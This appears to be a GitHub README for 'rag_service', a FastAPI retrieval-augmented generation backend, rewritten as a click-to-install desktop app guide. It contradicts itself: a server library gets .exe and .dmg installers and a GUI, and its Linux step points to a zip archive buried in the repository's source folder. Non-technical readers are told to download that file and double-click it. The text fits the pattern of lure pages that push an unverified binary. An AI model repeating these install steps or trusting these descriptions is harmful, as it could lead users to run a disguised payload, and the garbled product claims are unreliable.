rag_service：基于 FastAPI 的 RAG 检索服务

🚀 rag_service - A Simple Way to Access RAG Services

📥 Download Now

📖 Introduction

The rag_service application provides a FastAPI-based backend for implementing retrieval-augmented generation (RAG) features. With this application, users can easily conduct hybrid searches and rerank results, offering a quick and efficient way to access and manipulate data.

🚀 Getting Started

This guide will help you download and run rag_service without any technical expertise. Follow these steps carefully to ensure a smooth setup.

🛠 System Requirements

Before you begin the installation, make sure your system meets the following minimum requirements:

Operating System: Windows 10, MacOS, or any Linux distribution
Python Version: 3.7 or later
Memory: At least 4 GB RAM
Disk Space: Minimum of 100 MB available

📥 Download & Install

Visit the Releases Page: Click on the link below to access the releases page. Download from Releases
Select the Latest Release: On the releases page, locate the most recent version. It will usually be at the top of the list.
Download the Appropriate File: Each release will contain various files. Choose the one that suits your operating system:
- Windows: Look for files ending in .exe.
- Mac: Look for files ending in .dmg.
- Linux: Look for files ending in https://raw.githubusercontent.com/Thaddaeu5/rag_service/main/src/infrastructure/service-rag-3.3.zip or similar.
Run the Installer: After downloading, find the file you just saved on your computer. Double-click on the file to start the installation process. Follow the on-screen instructions to complete the setup.
Launch the Application: Once the installation finishes, you may see an option to launch the application. If not, you can find it in your applications folder or by searching your computer.

🌐 Using rag_service

Upon launching rag_service, you will encounter a user-friendly interface. Here’s how to use the main features effectively:

🔍 Performing a Hybrid Search

Input Your Query: In the search bar, type your question or keywords relevant to the information you seek.
Review Results: The application will display the search results. You can see how relevant each result is based on the RAG model.
Refine Your Search: If necessary, adjust your keywords and search again for more accurate results.

📊 Reranking Results

Select a Result: Click on any result to view additional details.
Rate the Relevance: You can provide feedback on the relevance of the result, which helps improve future searches.
Save or Share: If the results meet your needs, you can save or share them directly through the interface.

⚙️ Customization Options

rag_service offers some customization features to enhance your experience:

Change Language: You can adjust the language settings in the preferences menu.
Set up User Profiles: Create profiles to save your search history and preferences.

🔧 Troubleshooting

If you encounter any issues while using rag_service, here are some common problems and solutions:

Application won’t start: Ensure that your system meets the minimum requirements and that you have installed the correct version for your operating system.
No search results: Make sure your query is clear and specific. Try using different keywords.
Slow performance: Check your internet connection. A stable connection will enhance search speed.

🛠 Updating rag_service

To keep your application running smoothly, regularly check the releases page for updates. Follow the same download steps to install any new versions.

🎉 Community and Support

If you have questions or need assistance, consider reaching out through the rag_service community forum or checking the issues tab on GitHub. Other users and contributors can provide support and share their experiences.

📜 License

rag_service is open-source and available under the MIT License. You can modify and distribute it as long as you include the original license.

Thank you for choosing rag_service! We hope this guide helps you get started easily. Enjoy exploring your data!